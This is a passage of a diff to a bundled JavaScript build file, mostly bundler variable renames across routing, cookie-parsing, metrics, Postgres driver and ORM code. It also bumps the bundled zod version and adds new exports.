{ - tree[treeDataSymbol] = serializeNode(node, prefix, options); + if (node2.isLeafNode) { + tree[treeDataSymbol] = serializeNode(node2, prefix, options); } prefix = ""; } - if (node.staticChildrenNodes) { - for (const child of node.staticChildrenNodes) { + if (node2.staticChildrenNodes) { + for (const child of node2.staticChildrenNodes) { buildObjectTree(child, tree, prefix + child.prefix, options); } } - if (node.parametricChildren) { - for (const child of Object.values(node.parametricChildren)) { + if (node2.parametricChildren) { + for (const child of Object.values(node2.parametricChildren)) { const childPrefix = Array.from(child.nodePaths).join("|"); buildObjectTree(child, tree, prefix + childPrefix, options); } } - if (node.wildcardChild) { - buildObjectTree(node.wildcardChild, tree, "*", options); + if (node2.wildcardChild) { + buildObjectTree(node2.wildcardChild, tree, "*", options); } } function prettyPrintTree(root, options) { @@ -43182,14 +43182,14 @@ var require_node = __commonJS({ this.staticChildrenCharCodes = []; this.staticChildrenNodes = []; } - setStaticChild(label, node) { + setStaticChild(label, node2) { const charCode = label.charCodeAt(0); const index2 = this.staticChildrenCharCodes.indexOf(charCode); if (index2 === -1) { this.staticChildrenCharCodes.push(charCode); - this.staticChildrenNodes.push(node); + this.staticChildrenNodes.push(node2); } else { - this.staticChildrenNodes[index2] = node; + this.staticChildrenNodes[index2] = node2; } } findStaticMatchingChild(path, pathIndex) { @@ -43232,9 +43232,9 @@ var require_node = __commonJS({ } return staticChild.createStaticChild(path.slice(i)); } - const node = new StaticNode(path); - this.setStaticChild(path.charAt(0), node); - return node; + const node2 = new StaticNode(path); + this.setStaticChild(path.charAt(0), node2); + return node2; } }; var StaticNode = class _StaticNode extends ParentNode { @@ -43294,13 +43294,13 @@ var require_node = __commonJS({ return staticNode; } getNextNode(path, pathIndex, nodeStack, paramsCount) { - let node = this.findStaticMatchingChild(path, pathIndex); + let node2 = this.findStaticMatchingChild(path, pathIndex); let parametricBrotherNodeIndex = 0; - if (node === null) { + if (node2 === null) { if (this.parametricChildren.length === 0) { return this.wildcardChild; } - node = this.parametricChildren[0]; + node2 = this.parametricChildren[0]; parametricBrotherNodeIndex = 1; } if (this.wildcardChild !== null) { @@ -43317,7 +43317,7 @@ var require_node = __commonJS({ brotherNode: this.parametricChildren[i] }); } - return node; + return node2; } _compilePrefixMatch() { if (this.prefix.length === 1) { @@ -44242,7 +44242,7 @@ var require_find_my_way = __commonJS({ path = sanitizedUrl.path; querystring2 = sanitizedUrl.querystring; shouldDecodeParam = sanitizedUrl.shouldDecodeParam; - } catch (error51) { + } catch (error62) { return this._onBadUrl(path); } if (this.ignoreTrailingSlash) { @@ -44270,8 +44270,8 @@ var require_find_my_way = __commonJS({ }; } } - let node = currentNode.getNextNode(path, pathIndex, brothersNodesStack, params.length); - if (node === null) { + let node2 = currentNode.getNextNode(path, pathIndex, brothersNodesStack, params.length); + if (node2 === null) { if (brothersNodesStack.length === 0) { if (maxParamLengthExceeded && this.onMaxParamLength) { return this._onMaxParamLength(originPath); @@ -44281,9 +44281,9 @@ var require_find_my_way = __commonJS({ const brotherNodeState = brothersNodesStack.pop(); pathIndex = brotherNodeState.brotherPathIndex; params.splice(brotherNodeState.paramsCount); - node = brotherNodeState.brotherNode; + node2 = brotherNodeState.brotherNode; } - currentNode = node; + currentNode = node2; while (true) { if (currentNode.kind === NODE_TYPES.STATIC) { pathIndex += currentNode.prefix.length; @@ -44479,7 +44479,7 @@ var require_find_my_way = __commonJS({ if (parsed.protocol !== `${scheme}:` || parsed.host.length === 0) { return null; } - } catch (error51) { + } catch (error62) { return null; } if (authorityEnd === url2.length) { @@ -44880,14 +44880,14 @@ var require_route = __commonJS({ const hasHEADHandler = headHandler !== null; try { router.on(opts.method, opts.url, { constraints }, routeHandler, context2); - } catch (error51) { + } catch (error62) { if (!context2[kRouteByFastify]) { const methods = Array.isArray(opts.method) ? opts.method : [opts.method]; - const isDuplicatedRoute = methods.some((method) => error51.message.includes(`Method '${method}' already declared for route`)); + const isDuplicatedRoute = methods.some((method) => error62.message.includes(`Method '${method}' already declared for route`)); if (isDuplicatedRoute) { throw new FST_ERR_DUPLICATED_ROUTE(opts.method, opts.url); } - throw error51; + throw error62; } } this.after((notHandledErr, done) => { @@ -44924,16 +44924,16 @@ var require_route = __commonJS({ opts.validatorCompiler || schemaController.validatorCompiler, isCustom ); - } catch (error51) { - throw new FST_ERR_SCH_VALIDATION_BUILD(opts.method, url2, error51.message); + } catch (error62) { + throw new FST_ERR_SCH_VALIDATION_BUILD(opts.method, url2, error62.message); } if (opts.schema.response && !opts.serializerCompiler) { schemaController.setupSerializer(this[kOptions]); } try { compileSchemasForSerialization(context2, opts.serializerCompiler || schemaController.serializerCompiler); - } catch (error51) { - throw new FST_ERR_SCH_SERIALIZATION_BUILD(opts.method, url2, error51.message); + } catch (error62) { + throw new FST_ERR_SCH_SERIALIZATION_BUILD(opts.method, url2, error62.message); } } }); @@ -45906,12 +45906,12 @@ var require_request2 = __commonJS({ } util.inherits(Request, Readable); util.inherits(CustomRequest, Request); - Request.prototype.destroy = function(error51) { + Request.prototype.destroy = function(error62) { if (this.destroyed || this._lightMyRequest.isDone) return; this.destroyed = true; - if (error51) { + if (error62) { this._error = true; - process.nextTick(() => this.emit("error", error51)); + process.nextTick(() => this.emit("error", error62)); } process.nextTick(() => this.emit("close")); }; @@ -45998,42 +45998,42 @@ var require_set_cookie = __commonJS({ } return { name, value }; } - function parse4(input, options) { + function parse4(input2, options) { options = options ? Object.assign({}, defaultParseOptions, options) : defaultParseOptions; - if (!input) { + if (!input2) { if (!options.map) { return []; } else { return createNullObj(); } } - if (input.headers) { - if (typeof input.headers.getSetCookie === "function") { - input = input.headers.getSetCookie(); - } else if (input.headers["set-cookie"]) { - input = input.headers["set-cookie"]; + if (input2.headers) { + if (typeof input2.headers.getSetCookie === "function") { + input2 = input2.headers.getSetCookie(); + } else if (input2.headers["set-cookie"]) { + input2 = input2.headers["set-cookie"]; } else { - var sch = input.headers[Object.keys(input.headers).find(function(key) { + var sch = input2.headers[Object.keys(input2.headers).find(function(key) { return key.toLowerCase() === "set-cookie"; })]; - if (!sch && input.headers.cookie && !options.silent) { + if (!sch && input2.headers.cookie && !options.silent) { console.warn( "Warning: set-cookie-parser appears to have been called on a request object. It is designed to parse Set-Cookie headers from responses, not Cookie headers from requests. Set the option {silent: true} to suppress this warning." ); } - input = sch; + input2 = sch; } } - if (!Array.isArray(input)) { - input = [input]; + if (!Array.isArray(input2)) { + input2 = [input2]; } if (!options.map) { - return input.filter(isNonEmptyString).map(function(str) { + return input2.filter(isNonEmptyString).map(function(str) { return parseString(str, options); }).filter(Boolean); } else { var cookies = createNullObj(); - return input.filter(isNonEmptyString).reduce(function(cookies2, str) { + return input2.filter(isNonEmptyString).reduce(function(cookies2, str) { var cookie = parseString(str, options); if (cookie && !isForbiddenKey(cookie.name)) { cookies2[cookie.name] = cookie; @@ -46214,11 +46214,11 @@ var require_response = __commonJS({ this.emit("finish"); this.destroy(); }; - Response.prototype.destroy = function(error51) { + Response.prototype.destroy = function(error62) { if (this.destroyed) return; this.destroyed = true; - if (error51) { - process.nextTick(() => this.emit("error", error51)); + if (error62) { + process.nextTick(() => this.emit("error", error62)); } process.nextTick(() => this.emit("close")); }; @@ -47709,12 +47709,12 @@ var require_fastify = __commonJS({ } if (fastify2[kState].started) { if (fastify2[kState].closing) { - const error51 = new FST_ERR_REOPENED_CLOSE_SERVER(); + const error62 = new FST_ERR_REOPENED_CLOSE_SERVER(); if (cb) { - cb(error51); + cb(error62); return; } else { - return Promise.reject(error51); + return Promise.reject(error62); } } return lightMyRequest(httpHandler, opts, cb); @@ -49781,28 +49781,28 @@ var require_rbtree = __commonJS({ var gp = null; var ggp = head; var p = null; - var node = this._root; + var node2 = this._root; ggp.right = this._root; while (true) { - if (node === null) { - node = new Node(data); - p.set_child(dir, node); + if (node2 === null) { + node2 = new Node(data); + p.set_child(dir, node2); ret2 = true; this.size++; - } else if (is_red(node.left) && is_red(node.right)) { - node.red = true; - node.left.red = false; - node.right.red = false; + } else if (is_red(node2.left) && is_red(node2.right)) { + node2.red = true; + node2.left.red = false; + node2.right.red = false; } - if (is_red(node) && is_red(p)) { + if (is_red(node2) && is_red(p)) { var dir2 = ggp.right === gp; - if (node === p.get_child(last)) { + if (node2 === p.get_child(last)) { ggp.set_child(dir2, single_rotate(gp, !last)); } else { ggp.set_child(dir2, double_rotate(gp, !last)); } } - var cmp = this._comparator(node.data, data); + var cmp = this._comparator(node2.data, data); if (cmp === 0) { break; } @@ -49812,8 +49812,8 @@ var require_rbtree = __commonJS({ ggp = gp; } gp = p; - p = node; - node = node.get_child(dir); + p = node2; + node2 = node2.get_child(dir); } this._root = head.right; } @@ -49825,34 +49825,34 @@ var require_rbtree = __commonJS({ return false; } var head = new Node(void 0); - var node = head; - node.right = this._root; + var node2 = head; + node2.right = this._root; var p = null; var gp = null; var found = null; var dir = 1; - while (node.get_child(dir) !== null) { + while (node2.get_child(dir) !== null) { var last = dir; gp = p; - p = node; - node = node.get_child(dir); - var cmp = this._comparator(data, node.data); + p = node2; + node2 = node2.get_child(dir); + var cmp = this._comparator(data, node2.data); dir = cmp > 0; if (cmp === 0) { - found = node; + found = node2; } - if (!is_red(node) && !is_red(node.get_child(dir))) { - if (is_red(node.get_child(!dir))) { - var sr = single_rotate(node, dir); + if (!is_red(node2) && !is_red(node2.get_child(dir))) { + if (is_red(node2.get_child(!dir))) { + var sr = single_rotate(node2, dir); p.set_child(last, sr); p = sr; - } else if (!is_red(node.get_child(!dir))) { + } else if (!is_red(node2.get_child(!dir))) { var sibling = p.get_child(!last); if (sibling !== null) { if (!is_red(sibling.get_child(!last)) && !is_red(sibling.get_child(last))) { p.red = false; sibling.red = true; - node.red = true; + node2.red = true; } else { var dir2 = gp.right === p; if (is_red(sibling.get_child(last))) { @@ -49862,7 +49862,7 @@ var require_rbtree = __commonJS({ } var gpc = gp.get_child(dir2); gpc.red = true; - node.red = true; + node2.red = true; gpc.left.red = false; gpc.right.red = false; } @@ -49871,8 +49871,8 @@ var require_rbtree = __commonJS({ } } if (found !== null) { - found.data = node.data; - p.set_child(p.right === node, node.get_child(node.left === null)); + found.data = node2.data; + p.set_child(p.right === node2, node2.get_child(node2.left === null)); this.size--; } this._root = head.right; @@ -49881,8 +49881,8 @@ var require_rbtree = __commonJS({ } return found !== null; }; - function is_red(node) { - return node !== null && node.red; + function is_red(node2) { + return node2 !== null && node2.red; } function single_rotate(root, dir) { var save = root.get_child(!dir); @@ -49933,21 +49933,21 @@ var require_bintree = __commonJS({ } var dir = 0; var p = null; - var node = this._root; + var node2 = this._root; while (true) { - if (node === null) { - node = new Node(data); - p.set_child(dir, node); + if (node2 === null) { + node2 = new Node(data); + p.set_child(dir, node2); ret = true; this.size++; return true; } - if (this._comparator(node.data, data) === 0) { + if (this._comparator(node2.data, data) === 0) { return false; } - dir = this._comparator(node.data, data) < 0; - p = node; - node = node.get_child(dir); + dir = this._comparator(node2.data, data) < 0; + p = node2; + node2 = node2.get_child(dir); } }; BinTree.prototype.remove = function(data) { @@ -49955,23 +49955,23 @@ var require_bintree = __commonJS({ return false; } var head = new Node(void 0); - var node = head; - node.right = this._root; + var node2 = head; + node2.right = this._root; var p = null; var found = null; var dir = 1; - while (node.get_child(dir) !== null) { - p = node; - node = node.get_child(dir); - var cmp = this._comparator(data, node.data); + while (node2.get_child(dir) !== null) { + p = node2; + node2 = node2.get_child(dir); + var cmp = this._comparator(data, node2.data); dir = cmp > 0; if (cmp === 0) { - found = node; + found = node2; } } if (found !== null) { - found.data = node.data; - p.set_child(p.right === node, node.get_child(node.left === null)); + found.data = node2.data; + p.set_child(p.right === node2, node2.get_child(node2.left === null)); this._root = head.right; this.size--; return true; @@ -52282,8 +52282,8 @@ var require_osMemoryHeapLinux = __commonJS({ var PROCESS_RESIDENT_MEMORY = "process_resident_memory_bytes"; var PROCESS_VIRTUAL_MEMORY = "process_virtual_memory_bytes"; var PROCESS_HEAP = "process_heap_bytes"; - function structureOutput(input) { - return input.split("\n").reduce((acc, string4) => { + function structureOutput(input2) { + return input2.split("\n").reduce((acc, string4) => { if (!values2.some((value2) => string4.startsWith(value2))) { return acc; } @@ -52313,8 +52313,8 @@ var require_osMemoryHeapLinux = __commonJS({ residentMemGauge.set(labels, structuredOutput.VmRSS); virtualMemGauge.set(labels, structuredOutput.VmSize); heapSizeMemGauge.set(labels, structuredOutput.VmData); - } catch (error51) { - debug("failed to collect Linux memory metrics: %o", error51); + } catch (error62) { + debug("failed to collect Linux memory metrics: %o", error62); } } }); @@ -52348,8 +52348,8 @@ var require_safeRss = __commonJS({ function safeRss() { try { return process.memoryUsage.rss(); - } catch (error51) { - debug("process.memoryUsage.rss() failed: %o", error51); + } catch (error62) { + debug("process.memoryUsage.rss() failed: %o", error62); return; } } @@ -52397,11 +52397,11 @@ var require_processOpenFileDescriptors = __commonJS({ var { debuglog } = __require("node:util"); var Gauge = require_gauge(); var fs2 = __require("fs"); - var process3 = __require("process"); + var process2 = __require("process"); var debug = debuglog("prom:metrics:process-open-fds"); var PROCESS_OPEN_FDS = "process_open_fds"; module.exports = (registry2, config2 = {}) => { - if (process3.platform !== "linux") { + if (process2.platform !== "linux") { return; } const namePrefix = config2.prefix ? config2.prefix : ""; @@ -52416,8 +52416,8 @@ var require_processOpenFileDescriptors = __commonJS({ try { const fds = fs2.readdirSync("/proc/self/fd"); this.set(labels, fds.length - 1); - } catch (error51) { - debug("failed to collect open file descriptors: %o", error51); + } catch (error62) { + debug("failed to collect open file descriptors: %o", error62); } } }); @@ -52448,8 +52448,8 @@ var require_processMaxFileDescriptors = __commonJS({ break; } } - } catch (error51) { - debug("failed to collect maximum file descriptors: %o", error51); + } catch (error62) { + debug("failed to collect maximum file descriptors: %o", error62); return; } } @@ -52481,8 +52481,8 @@ var require_eventLoopLag = __commonJS({ var perf_hooks; try { perf_hooks = __require("perf_hooks"); - } catch (error51) { - debug("perf_hooks module is unavailable: %o", error51); + } catch (error62) { + debug("perf_hooks module is unavailable: %o", error62); } var NODEJS_EVENTLOOP_LAG = "nodejs_eventloop_lag_seconds"; var NODEJS_EVENTLOOP_LAG_MIN = "nodejs_eventloop_lag_min_seconds"; @@ -52869,8 +52869,8 @@ var require_safeMemoryUsage = __commonJS({ function safeMemoryUsage() { try { return process.memoryUsage(); - } catch (error51) { - debug("process.memoryUsage() failed: %o", error51); + } catch (error62) { + debug("process.memoryUsage() failed: %o", error62); return; } } @@ -53029,8 +53029,8 @@ var require_gc = __commonJS({ var perf_hooks; try { perf_hooks = __require("perf_hooks"); - } catch (error51) { - debug("perf_hooks module is unavailable: %o", error51); + } catch (error62) { + debug("perf_hooks module is unavailable: %o", error62); } var NODEJS_GC_DURATION_SECONDS = "nodejs_gc_duration_seconds"; var DEFAULT_GC_DURATION_BUCKETS = [1e-3, 0.01, 0.1, 1, 2, 5]; @@ -53334,15 +53334,15 @@ var require_cluster = __commonJS({ metrics: metrics2 }); } - } catch (error51) { - debug("Error sending to primary", error51); + } catch (error62) { + debug("Error sending to primary", error62); if (!process.connected) { debug("Connection to primary lost."); } else { process.send({ type: GET_METRICS_RES, requestId: message.requestId, - error: error51.message + error: error62.message }); } } @@ -53398,8 +53398,8 @@ var require_cluster = __commonJS({ const metrics2 = [historicMetrics, ...event.metrics]; historicMetrics = Registry2.aggregate(metrics2).getMetricsAsArray(); debug("collected metrics data from", worker.id); - } catch (error51) { - console.error("error collecting shutdown metrics", worker.id, error51); + } catch (error62) { + console.error("error collecting shutdown metrics", worker.id, error62); } finally { workers.delete(worker.id); } @@ -53673,12 +53673,12 @@ var require_worker = __commonJS({ threadId, metrics: metrics2 }); - } catch (error51) { - debug(error51); + } catch (error62) { + debug(error62); channel.postMessage({ type: GET_METRICS_RES, requestId: message.requestId, - error: error51.message + error: error62.message }); } } else { @@ -53756,11 +53756,11 @@ var require_worker = __commonJS({ const metrics2 = [historicMetrics, ...workerMessage.metrics]; historicMetrics = Registry2.aggregate(metrics2).getMetricsAsArray(); debug("collected metrics data from", workerMessage.threadId); - } catch (error51) { + } catch (error62) { console.error( "error collecting shutdown metrics", workerMessage.threadId, - error51 + error62 ); } finally { workers.delete(workerName); @@ -53975,7 +53975,7 @@ var Errors = { }; function connection(x, options, socket) { const { host, port } = socket || options; - const error51 = Object.assign( + const error62 = Object.assign( new Error("write " + x + " " + (options.path || host + ":" + port)), { code: x, @@ -53984,29 +53984,29 @@ function connection(x, options, socket) { }, options.path ? {} : { port } ); - Error.captureStackTrace(error51, connection); - return error51; + Error.captureStackTrace(error62, connection); + return error62; } function postgres(x) { - const error51 = new PostgresError(x); - Error.captureStackTrace(error51, postgres); - return error51; + const error62 = new PostgresError(x); + Error.captureStackTrace(error62, postgres); + return error62; } function generic(code, message) { - const error51 = Object.assign(new Error(code + ": " + message), { code }); - Error.captureStackTrace(error51, generic); - return error51; + const error62 = Object.assign(new Error(code + ": " + message), { code }); + Error.captureStackTrace(error62, generic); + return error62; } function notSupported(x) { - const error51 = Object.assign( + const error62 = Object.assign( new Error(x + " (B) is not supported"), { code: "MESSAGE_NOT_SUPPORTED", name: x } ); - Error.captureStackTrace(error51, notSupported); - return error51; + Error.captureStackTrace(error62, notSupported); + return error62; } // node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/types.js @@ -54514,10 +54514,10 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose try { x = options.socket ? await Promise.resolve(options.socket(options)) : new net.Socket(); } catch (e) { - error51(e); + error62(e); return; } - x.on("error", error51); + x.on("error", error62); x.on("close", closed); x.on("drain", drain); return x; @@ -54528,8 +54528,8 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose await connect(); socket.once("error", reject); socket.once("close", resolve); - } catch (error52) { - reject(error52); + } catch (error63) { + reject(error63); } } function execute(q) { @@ -54544,9 +54544,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose query ? sent.push(q) : (query = q, query.active = true); build(q); return write(toBuffer(q)) && !q.describeFirst && !q.cursorFn && sent.length < max_pipeline && (!q.options.onexecute || q.options.onexecute(connection2)); - } catch (error52) { + } catch (error63) { sent.length === 0 && write(Sync); - errored(error52); + errored(error63); return true; } } @@ -54625,7 +54625,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose socket.removeAllListeners(); socket = tls.connect(options2); socket.on("secureConnect", connected); - socket.on("error", error51); + socket.on("error", error62); socket.on("close", closed); socket.on("drain", drain); } @@ -54691,10 +54691,10 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose const s = StartupMessage(); write(s); } catch (err) { - error51(err); + error62(err); } } - function error51(err) { + function error62(err) { if (connection2.queue === queues.connecting && options.host[retries + 1]) return; errored(err); @@ -54726,7 +54726,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose function terminate() { terminated = true; if (stream || query || initial || sent.length) - error51(Errors.connection("CONNECTION_DESTROYED", options)); + error62(Errors.connection("CONNECTION_DESTROYED", options)); clearImmediate(nextWriteTimer); if (socket) { socket.removeListener("data", data); @@ -54749,7 +54749,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose socket = null; if (initial) return reconnect(); - !hadError && (query || sent.length) && error51(Errors.connection("CONNECTION_CLOSED", options, socket)); + !hadError && (query || sent.length) && error62(Errors.connection("CONNECTION_CLOSED", options, socket)); closedTime = performance2.now(); hadError && options.shared.retries++; delay = (typeof backoff2 === "function" ? backoff2(options.shared.retries) : backoff2) * 1e3; @@ -55063,9 +55063,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose errored(Errors.postgres(parseError(x))); } } - function retry(q, error52) { + function retry(q, error63) { delete statements[q.signature]; - q.retried = error52; + q.retried = error63; execute(q); } function NotificationResponse(x) { @@ -55098,9 +55098,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose write(chunk2, encoding, callback) { socket.write(bytes_default().d().raw(chunk2).end(), callback); }, - destroy(error52, callback) { - callback(error52); - socket.write(bytes_default().f().str(error52 + bytes_default.N).end()); + destroy(error63, callback) { + callback(error63); + socket.write(bytes_default().f().str(error63 + bytes_default.N).end()); stream = null; }, final(callback) { @@ -55129,9 +55129,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose write(chunk2, encoding, callback) { socket.write(bytes_default().d().raw(chunk2).end(), callback); }, - destroy(error52, callback) { - callback(error52); - socket.write(bytes_default().f().str(error52 + bytes_default.N).end()); + destroy(error63, callback) { + callback(error63); + socket.write(bytes_default().f().str(error63 + bytes_default.N).end()); stream = null; }, final(callback) { @@ -55213,15 +55213,15 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose } } function parseError(x) { - const error51 = {}; + const error62 = {}; let start = 5; for (let i = 5; i < x.length - 1; i++) { if (x[i] === 0) { - error51[errorFields[x[start]]] = x.toString("utf8", start + 1, i); + error62[errorFields[x[start]]] = x.toString("utf8", start + 1, i); start = i + 1; } } - return error51; + return error62; } function md5(x) { return crypto2.createHash("md5").update(x).digest("hex"); @@ -55333,10 +55333,10 @@ function Subscribe(postgres2, options) { lsn: Buffer.concat(x.consistent_point.split("/").map((x2) => Buffer.from(("00000000" + x2).slice(-8), "hex"))) }; stream2.on("data", data); - stream2.on("error", error51); + stream2.on("error", error62); stream2.on("close", sql4.close); return { stream: stream2, state: xs.state }; - function error51(e) { + function error62(e) { console.error("Unexpected error during logical streaming - reconnecting", e); } function data(x2) { @@ -55561,7 +55561,7 @@ var src_default = Postgres; function Postgres(a, b2) { const options = parseOptions(a, b2), subscribe = options.no_subscribe || Subscribe(Postgres, { ...options }); let ending = false; - const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open, busy, full }; + const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open2 = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open: open2, busy, full }; const connections = [...Array(options.max)].map(() => connection_default(options, queues, { onopen, onend, onclose })); const sql3 = Sql(handler); Object.assign(sql3, { @@ -55674,7 +55674,7 @@ function Postgres(a, b2) { } async function reserve() { const queue = queue_default(); - const c = open.length ? open.shift() : await new Promise((resolve, reject) => { + const c = open2.length ? open2.shift() : await new Promise((resolve, reject) => { const query = { reserve: resolve, reject }; queries.push(query); closed.length && connect(closed.shift(), query); @@ -55702,8 +55702,8 @@ function Postgres(a, b2) { scope(connection2, fn), new Promise((_, reject) => connection2.onclose = reject) ]); - } catch (error51) { - throw error51; + } catch (error62) { + throw error62; } async function scope(c, fn2, name) { const sql4 = Sql(handler2); @@ -55747,7 +55747,7 @@ function Postgres(a, b2) { c.queue.remove(c); queue.push(c); c.queue = queue; - queue === open ? c.idleTimer.start() : c.idleTimer.cancel(); + queue === open2 ? c.idleTimer.start() : c.idleTimer.cancel(); return c; } function json3(x) { @@ -55761,8 +55761,8 @@ function Postgres(a, b2) { function handler(query) { if (ending) return query.reject(Errors.connection("CONNECTION_ENDED", options, options)); - if (open.length) - return go(open.shift(), query); + if (open2.length) + return go(open2.shift(), query); if (closed.length) return connect(closed.shift(), query); busy.length ? go(busy.shift(), query) : queries.push(query); @@ -55807,7 +55807,7 @@ function Postgres(a, b2) { } function onopen(c) { if (queries.length === 0) - return move(c, open); + return move(c, open2); let max = Math.ceil(queries.length / (connecting.length + 1)), ready = true; while (ready && queries.length && max-- > 0) { const query = queries.shift(); @@ -56608,8 +56608,8 @@ var PgEnumColumn = class extends PgColumn { return this.enum.enumName; } }; -function pgEnum(enumName, input) { - return Array.isArray(input) ? pgEnumWithSchema(enumName, [...input], void 0) : pgEnumObjectWithSchema(enumName, input, void 0); +function pgEnum(enumName, input2) { + return Array.isArray(input2) ? pgEnumWithSchema(enumName, [...input2], void 0) : pgEnumObjectWithSchema(enumName, input2, void 0); } function pgEnumWithSchema(enumName, values2, schema) { const enumInstance = Object.assign( @@ -57333,16 +57333,16 @@ function mapResultRow(columns, row, joinsNotNullableMap) { } else { decoder = field.sql.decoder; } - let node = result2; + let node2 = result2; for (const [pathChunkIndex, pathChunk] of path.entries()) { if (pathChunkIndex < path.length - 1) { - if (!(pathChunk in node)) { - node[pathChunk] = {}; + if (!(pathChunk in node2)) { + node2[pathChunk] = {}; } - node = node[pathChunk]; + node2 = node2[pathChunk]; } else { const rawValue = row[columnIndex]; - const value = node[pathChunk] = rawValue === null ? null : decoder.mapFromDriverValue(rawValue); + const value = node2[pathChunk] = rawValue === null ? null : decoder.mapFromDriverValue(rawValue); if (joinsNotNullableMap && is(field, Column) && path.length === 2) { const objectName = path[0]; if (!(objectName in nullifyMap)) { @@ -59057,19 +59057,19 @@ var PrimaryKey = class { }; // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/casing.js -function toSnakeCase(input) { - const words = input.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; +function toSnakeCase(input2) { + const words = input2.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; return words.map((word) => word.toLowerCase()).join("_"); } -function toCamelCase(input) { - const words = input.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; +function toCamelCase(input2) { + const words = input2.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; return words.reduce((acc, word, i) => { const formattedWord = i === 0 ? word.toLowerCase() : `${word[0].toUpperCase()}${word.slice(1)}`; return acc + formattedWord; }, ""); } -function noopCase(input) { - return input; +function noopCase(input2) { + return input2; } var CasingCache = class { static [entityKind] = "CasingCache"; @@ -59604,13 +59604,13 @@ var PgDialect = class { const columnNames = Object.keys(tableColumns).filter( (colName) => set2[colName] !== void 0 || tableColumns[colName]?.onUpdateFn !== void 0 ); - const setSize = columnNames.length; + const setSize2 = columnNames.length; return sql.join(columnNames.flatMap((colName, i) => { const col = tableColumns[colName]; const onUpdateFnResult = col.onUpdateFn?.(); const value = set2[colName] ?? (is(onUpdateFnResult, SQL) ? onUpdateFnResult : sql.param(onUpdateFnResult, col)); const res = sql`${sql.identifier(this.casing.getColumnCasing(col))} = ${value}`; - if (i < setSize - 1) { + if (i < setSize2 - 1) { return [res, sql.raw(", ")]; } return [res]; @@ -63034,12 +63034,13 @@ __export(schema_exports, { usersRelations: () => usersRelations }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/external.js var external_exports = {}; __export(external_exports, { $brand: () => $brand, $input: () => $input, $output: () => $output, + INVALID: () => INVALID, NEVER: () => NEVER, TimePrecision: () => TimePrecision, ZodAny: () => ZodAny, @@ -63055,6 +63056,9 @@ __export(external_exports, { ZodCUID2: () => ZodCUID2, ZodCatch: () => ZodCatch, ZodCodec: () => ZodCodec, + ZodCompileAsyncError: () => ZodCompileAsyncError, + ZodCompileUnsupportedError: () => ZodCompileUnsupportedError, + ZodCreditCard: () => ZodCreditCard, ZodCustom: () => ZodCustom, ZodCustomStringFormat: () => ZodCustomStringFormat, ZodDate: () => ZodDate, @@ -63070,12 +63074,14 @@ __export(external_exports, { ZodFirstPartyTypeKind: () => ZodFirstPartyTypeKind, ZodFunction: () => ZodFunction, ZodGUID: () => ZodGUID, + ZodIBAN: () => ZodIBAN, ZodIPv4: () => ZodIPv4, ZodIPv6: () => ZodIPv6, ZodISODate: () => ZodISODate, ZodISODateTime: () => ZodISODateTime, ZodISODuration: () => ZodISODuration, ZodISOTime: () => ZodISOTime, + ZodInstanceOf: () => ZodInstanceOf, ZodIntersection: () => ZodIntersection, ZodIssueCode: () => ZodIssueCode, ZodJWT: () => ZodJWT, @@ -63135,14 +63141,18 @@ __export(external_exports, { clone: () => clone, codec: () => codec, coerce: () => coerce_exports, + compile: () => compile, config: () => config, core: () => core_exports2, + creditCard: () => creditCard2, cuid: () => cuid3, cuid2: () => cuid22, + currencyCode: () => currencyCode2, custom: () => custom, - date: () => date4, + date: () => date3, decode: () => decode2, decodeAsync: () => decodeAsync2, + deepPartial: () => deepPartial, describe: () => describe2, discriminatedUnion: () => discriminatedUnion, e164: () => e1642, @@ -63160,6 +63170,7 @@ __export(external_exports, { formatError: () => formatError, fromJSONSchema: () => fromJSONSchema, function: () => _function, + getDiscriminatedOption: () => getDiscriminatedOption, getErrorMap: () => getErrorMap, globalRegistry: () => globalRegistry, gt: () => _gt, @@ -63169,7 +63180,9 @@ __export(external_exports, { hex: () => hex2, hostname: () => hostname2, httpUrl: () => httpUrl, + iban: () => iban2, includes: () => _includes, + input: () => input, instanceof: () => _instanceof, int: () => int, int32: () => int32, @@ -63196,6 +63209,7 @@ __export(external_exports, { map: () => map, maxLength: () => _maxLength, maxSize: () => _maxSize, + memoizer: () => memoizer, meta: () => meta2, mime: () => _mime, minLength: () => _minLength, @@ -63216,6 +63230,7 @@ __export(external_exports, { number: () => number2, object: () => object, optional: () => optional, + output: () => output, overwrite: () => _overwrite, parse: () => parse3, parseAsync: () => parseAsync2, @@ -63226,6 +63241,7 @@ __export(external_exports, { preprocess: () => preprocess, prettifyError: () => prettifyError, promise: () => promise, + properties: () => _properties, property: () => _property, readonly: () => readonly, record: () => record, @@ -63255,6 +63271,7 @@ __export(external_exports, { toJSONSchema: () => toJSONSchema, toLowerCase: () => _toLowerCase, toUpperCase: () => _toUpperCase, + toZod: () => toZod, transform: () => transform, treeifyError: () => treeifyError, trim: () => 